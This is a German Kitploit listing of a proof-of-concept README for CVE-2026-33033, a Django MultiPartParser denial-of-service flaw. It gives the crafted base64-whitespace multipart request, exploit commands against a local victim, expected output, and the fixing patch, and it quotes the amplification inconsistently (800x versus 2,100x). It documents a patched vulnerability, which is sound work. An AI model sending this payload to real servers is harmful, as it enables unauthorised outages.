Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33033-PoC — Proof-of-Concept-Exploit für CVE-2026-33033, eine Denial-of-Service-Schwachstelle in Djangos MultiPartParser über CPU-Verstärkung durch Base64-Leerzeichen, die eine etwa 800-fache Verstärkung mit einer einzigen HTTP-Anfrage demonstriert. | Kitploit
Tools/GitHubGitHub/ch4n3-yoon/cve-2026-33033-poc
SchwachstellenanalyseExploitationWebsicherheitPenetrationstests
GitHubch4n3-yoon/cve-2026-33033-poc

CVE-2026-33033-PoC

Proof-of-Concept-Exploit für CVE-2026-33033, eine Denial-of-Service-Schwachstelle in Djangos MultiPartParser über CPU-Verstärkung durch Base64-Leerzeichen, die eine etwa 800-fache Verstärkung mit einer einzigen HTTP-Anfrage demonstriert.

Repository anzeigen
211vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33033 PoC

Denial-of-Service durch Base64-Leerzeichen-CPU-Amplifikation in Djangos MultiPartParser

Eine einzelne 2,5 MB große HTTP-Anfrage kann einen Django-Worker für ~5 Sekunden blockieren und erreicht damit eine ~2.100-fache CPU-Amplifikation im Vergleich zu einer normalen Anfrage gleicher Größe. Es ist keine Authentifizierung erforderlich.

Betroffene Versionen

Diese Schwachstelle wurde im Django 6.0.4-Sicherheitsrelease (7. April 2026) behoben, zusammen mit Backports für alle unterstützten Branches.

BranchBetroffenBehoben
Django 6.0.x<= 6.0.36.0.4
Django 5.2.x<= 5.2.115.2.12
Django 5.1.x<= 5.1.x5.1.16
Django 5.0.x<= 5.0.145.0.15
Django 4.2.x<= 4.2.284.2.29

Offizielle Beschreibung

CVE-2026-33033: Potenzielle Denial-of-Service-Schwachstelle in MultiPartParser durch Base64-kodierte Datei-Uploads (Schweregrad: Mittel)

Bei Verwendung von django.http.multipartparser.MultiPartParser können Multipart-Uploads mit Content-Transfer-Encoding: base64, die übermäßige Leerzeichen enthalten, wiederholte Speicherkopien auslösen und dadurch möglicherweise die Leistung beeinträchtigen.

— Django 6.0.4-Release-Notes

Weitere in Django 6.0.4 behobene Sicherheitsprobleme

CVESchweregradBeschreibung
CVE-2026-3902NiedrigASGI-Header-Spoofing durch Unterstrich/Bindestrich-Vermischung
CVE-2026-4277NiedrigPrivilegienmissbrauch in GenericInlineModelAdmin
CVE-2026-4292NiedrigPrivilegienmissbrauch in ModelAdmin.list_editable
CVE-2026-33034NiedrigUmgehung des ASGI-Speicher-Upload-Limits durch fehlenden Content-Length

Zusammenfassung der Schwachstelle

Djangos MultiPartParser verfügt über einen speziellen Codepfad für die Verarbeitung von Dateiteilen mit Content-Transfer-Encoding: base64. Nach dem Entfernen von Leerzeichen aus jedem Chunk wird, falls das Ergebnis nicht auf ein Vielfaches von 4 Bytes ausgerichtet ist, eine While-Schleife aufgerufen, die field_stream.read(1) verwendet, um zusätzliche Bytes einzeln abzurufen.

Wenn der Dateibody fast vollständig aus Leerzeichen besteht, wird jedes abgerufene Byte zu nichts reduziert, sodass die Schleife fortfährt — mit einem read(1)-Aufruf pro Leerzeichen-Byte. Der entscheidende Punkt ist, dass jeder read(1)-Aufruf weitaus teurer ist, als es scheint:

Drei Amplifikationsebenen

root@kitploit:~
Ebene 1:  Die Base64-Ausrichtungsschleife ruft read(1) pro Leerzeichen-Byte auf
              |
Ebene 2:  LazyStream.read(1) holt den gesamten Rest (~64 KB), schneidet 1 Byte ab,
          gibt ~64 KB - 1 zurück  -->  O(C) Byte-Kopie pro Aufruf
              |
Ebene 3:  unget() führt  self._leftover = bytes + self._leftover  aus
          und erstellt dabei jedes Mal ein neues bytes-Objekt  -->  memcpy von ~C Bytes

Pro 64-KB-Chunk bildet die Kopierarbeit eine arithmetische Reihe:

root@kitploit:~
Gesamt = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2,15 Milliarden Byte-Operationen

Für eine 2,5-MB-Eingabe (~40 Chunks): ~86 Milliarden Bytes an memcpy-Arbeit aus einer einzigen HTTP-Anfrage.

Umgehung des bestehenden Schutzes

Django enthält _update_unget_history(), das SuspiciousMultipartForm auslöst, wenn dieselbe Byteanzahl 40+ Mal in 50 Operationen zurückgegeben wird. Bei diesem Angriff sind die unget-Größen jedoch monoton abnehmend (65535, 65534, 65533, ...), sodass jede Größe einzigartig ist und die Prüfung niemals ausgelöst wird.

Auslösung vor der View

Die CSRF-Middleware greift auf request.POST zu, bevor eine View ausgeführt wird, sodass selbst Endpunkte, die 403 zurückgeben, die vollständigen Parsing-Kosten verursachen.

Repository-Struktur

root@kitploit:~
CVE-2026-33033-PoC/
├── README.md           # Diese Datei
├── LICENSE
├── requirements.txt    # Python-Abhängigkeiten
├── exploit.py          # Exploit-Skript
└── victim/             # Verwundbarer Django-Server
    ├── manage.py
    ├── uwsgi.ini       # uWSGI-Bereitstellungskonfiguration
    └── victim/
        ├── __init__.py
        ├── settings.py  # Django-Standardeinstellungen (keine spezielle Konfiguration nötig)
        ├── urls.py      # /upload- und /health-Endpunkte
        └── wsgi.py

Reproduktionsschritte

1. Klonen und Einrichten

root@kitploit:~
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

2. Victim-Server starten

Option A: Django-Entwicklungsserver (am schnellsten)

root@kitploit:~
cd victim
python manage.py runserver 0.0.0.0:8000

Option B: uWSGI (realistischer — verwendet 4 Worker)

root@kitploit:~
cd victim
uwsgi --ini uwsgi.ini

3. Exploit ausführen

In einem separaten Terminal:

root@kitploit:~
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

Optionen:

FlagStandardBeschreibung
--targethttp://127.0.0.1:8000/uploadZiel-Upload-Endpunkt
--size2621440 (2,5 MB)Payload-Größe in Bytes
--rounds3Anzahl der Angriffsrunden

4. Erwartete Ausgabe

root@kitploit:~
============================================================
CVE-2026-33033 PoC
Denial-of-Service durch Base64-Leerzeichen-CPU-Amplifikation
in Django MultiPartParser
============================================================

Ziel:         http://127.0.0.1:8000/upload
Payload-Größe: 2.621.440 Bytes (2,5 MB)
Runden:        3

[*] Prüfe Server-Status...
[+] Server ist erreichbar.

------------------------------------------------------------
[*] Phase 1: Sende BENIGNE Anfrage (normale Base64-Daten)
------------------------------------------------------------
    Status: 200
    Zeit:   5,55 ms

------------------------------------------------------------
[*] Phase 2: Sende BÖSARTIGE Anfragen (Base64 + Leerzeichen)
------------------------------------------------------------

  Runde 1/3:
    Status: 200
    Zeit:   4571,12 ms
  ...

============================================================
ERGEBNISSE
============================================================
  Benigne Anfrage:          5,55 ms
  Angriffsdurchschnitt:  4571,12 ms  (über 3 Runden)
  Amplifikation:             823x

[!] VERWUNDBAR: Durchschnittliche Angriffszeit übersteigt 1 Sekunde.
    Eine einzelne 2,5-MB-Anfrage blockiert einen Worker für ~4,6 s.
    Mit 4 Workern können bereits 4 gleichzeitige Anfragen den Server DoS-en.

Wie der Exploit funktioniert

Der Exploit konstruiert einen multipart/form-data-POST-Body mit einem einzelnen Dateiteil:

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2.621.433 Leerzeichen>A
------CVE2026-33033--
  1. Das führende AAA macht stripped_chunk = b"AAA" (3 Bytes), sodass remaining = 3 % 4 = 3 ist.
  2. Die While-Schleife ruft field_stream.read(1) auf, um 1 weiteres Byte für die Ausrichtung zu holen.
  3. Jedes Leerzeichen-Byte wird zu nichts reduziert (b"".join(b" ".split()) == b""), sodass remaining = 3 bleibt.
  4. Die Schleife wird für jedes Leerzeichen-Byte im Stream fortgesetzt.
  5. Jeder LazyStream.read(1)-Aufruf kopiert intern ~64 KB über den unget-Mechanismus.

Verwundbarer Code

django/http/multipartparser.py, Zeilen 302-325 (Django 5.0.x):

root@kitploit:~
for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # reduziert zu leer
            remaining = len(stripped_chunk) % 4               # bleibt bei 3

Patch

Der Fix (angewendet in Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) ersetzt die byteweise read(1)-Schleife durch ein Bulk-read(self._chunk_size):

root@kitploit:~
-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)

Wichtigste Änderungen:

  1. read(4 - remaining) → read(self._chunk_size) — liest 64 KB auf einmal statt 1-3 Bytes, wodurch die read-Aufrufe von ~2,5 Millionen auf ~40 reduziert werden.
  2. stripped_chunk += ... → stripped_parts.append(...) + finales b"".join() — vermeidet potenzielle quadratische Bytes-Verkettung.
  3. len(stripped_chunk) % 4 → stripped_length-Zähler — vermeidet redundante Längenberechnung.

Haftungsausschluss

Dieser Proof-of-Concept dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Verwenden Sie ihn verantwortungsvoll und nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche Testgenehmigung haben.

Lizenz

Apache License 2.0 — siehe LICENSE.

Tool herunterladen